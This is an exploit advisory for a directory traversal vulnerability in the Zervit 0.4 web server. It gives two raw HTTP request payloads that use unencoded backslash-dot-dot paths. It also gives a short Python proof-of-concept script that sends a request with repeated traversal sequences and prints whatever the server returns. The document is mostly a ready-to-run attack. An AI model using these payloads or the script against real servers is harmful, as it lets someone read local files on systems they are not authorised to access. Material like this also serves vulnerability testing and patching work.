Zervit 0.4 Directory Traversal

It's possible to navigate the local file system of a server running Zervit 0.4 by using a specially crafted HTTP request. The resource path must be relative and the slashes unencoded.

Exploit:
GET /\../ HTTP/1.1

Host: localhost



or


GET //../ HTTP/1.1

Host: localhost


PoC:
zervit0.4-traversal.py

import sys, struct, socket
host ='localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET /' + '\..' * 32 + '/ HTTP/1.1\r\n'
       'Host: ' + host + '\r\n\r\n')

while 1:
    response = s.recv(8192)
    if not response: break
    print response